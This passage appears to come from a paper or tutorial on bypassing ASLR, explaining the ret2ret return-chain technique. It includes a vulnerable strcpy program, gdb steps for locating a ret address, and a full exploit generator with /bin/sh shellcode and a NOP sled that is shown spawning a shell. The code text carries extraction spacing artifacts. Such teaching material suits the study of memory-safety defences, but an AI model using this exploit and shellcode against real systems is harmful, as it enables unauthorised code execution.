Figure 17: ret2ret.c
v o i d f u n c t i o n ( char ∗ s t r ) {
char b u f f e r [ 2 5 6 ] ;
strcpy ( buffer , s t r ) ;
}
i n t main ( i n t a r g c , char ∗∗ a r g v ) {
i n t no = 1 ;
i n t ∗ p t r = &no ;
f u n c t i o n ( argv [ 1 ] ) ;
}
Figure 18: ret2retExploit.c
i n t main ( v o i d ) {
char ∗ b u f f , ∗ p t r ;
long ∗ a d r p t r ; i n t
i;
buff = malloc ( 2 8 0 ) ;
ptr = buff ;
a d r p t r = ( long ∗) p t r ;
f o r ( i = 0 ; i <280; i +=4)
∗ ( a d r p t r ++) = 0 x 0 8 0 4 8 4 0 f ;
f o r ( i = 0 ; i <260; i ++)
b u f f [ i ] = 0 x90 ;
ptr = buff +
(260− s t r l e n ( s h e l l c o d e ) ) ;
f o r ( i = 0 ; i <s t r l e n ( s h e l l c o d e ) ; i ++)
∗ ( p t r ++) = s h e l l c o d e [ i ] ;
b u f f [ 2 8 0 ] = ’ \0 ’ ;
p r i n t f ( ”%s ” , b u f f ) ;
}
char s h e l l c o d e [ ] =
” \ x31 \ xc0 ”
” \ x50 ”
” \ x68 ” ” / / s h ”
” \ x68 ” ” / b i n ”
” \ x89 \ xe3 ”
” \ x50 ”
” \ x53 ”
” \ x89 \ xe1 ”
” \ x99 ”
” \ xb0 \ x0b ”
” \ xcd \ x80 ”
;
Figure 16: ret2ret illustration
ret2ret
The problem with ASLR is that it is useless to overwrite the return address with a fixed address. The idea of ret2ret is to return to an already existing pointer that points into the shellcode. Already existing pointers must contain valid stack addresses to work. These valid stack addresses are potential pointers to the shellcode.
The attacker does not know anything about the stack addresses, but that does not matter, because he overwrites the instruction pointer by the content of such a potential shellcode pointer.
That sounds easy in theory. But there is a big practical problem: How to use such a pointer as return address? Till now the only way to manipulate the program flow was to overwrite the return instruction pointer directly. But it is not possible to copy something, e.g. the potential shellcode pointer, to this location. Therefore another way is used to get the potential shellcode pointer into the EIP register: return to return to return
to ... to the pointer (see figure 16).
That means it is possible to move hand over hand straight to the shellcode pointer using several ret commands. To understand the chain of returns you
have to recall what a return does: A return means pop eip, i.e. the content of the location where the ESP points to is written to the EIP. Usually this content is the RIP, when ret is called. Furthermore the ESP jumps one location upwards (the stack shrinks).
Imagine the RIP location contains a pointer to a ret command itself, and the location above as well and so on. This would end in a chain of returns: ret2ret.Remember that the addresses of the code segment are not randomized. A ret command can be found in the code segment of every program. So it is no problem to fill the stack with reliable pointers to return commands. The return chain should end right before the potential shellcode pointer, which would be called by the last ret. So the number of returns is variable, based on the offset from the return instruction pointer to the potential shellcode pointer.The potential shellcode pointer must be placed above(that means before) the first RIP, i.e. the pointer has to be older than the vulnerable buffer. But where to find pointers to newer stack frames? Every string and therefore most buffer overflows have to be terminated by a zero byte. Thus the least significant byte of the potential shellcode pointer can be overwritten with a zero.Due to this zero byte the pointer may be smaller than before and from there on it points to newer stack contents - where the shellcode is placed (see figure 16).
This byte alignment only works on a little endian system and a downwards growing stack. Who wants to try this on Sun SPARC?
As an example behold figure 17. This C program comes with a strcpy vulnerability and the potential pointer ptr. What is needed for an exploit is the address of a return command. It can be determined by using gdb as follows:
(gdb) disass main
0x080483d4 <main +0>: lea ...
...
0x0804840f <main+59>: ret
So a possible address to a ret command is 0804840fhex . Another possible address can be find out by disass function. Everything else, like how many ret commands have to placed before the pointer, can be determined by gdb as well. I think I do not have to mention all this issues in detail. But I
want to point out, that such an exploit should contain as much NOP instructions (0x90) as possible to increase the chance of the potential pointer to hit the shellcode. You can find an (often) working exploit for ret2ret in figure 18. Just pass the output of the exploit to the input of ret2ret:
> ./ret2ret ‘./ret2retExploit‘
sh-3.1$
I said it works ”often”, because the address space is randomized by every instantiation and so there will be always a remaining risk, that the shellcode pointer do not lead to its goal (after the byte alignment).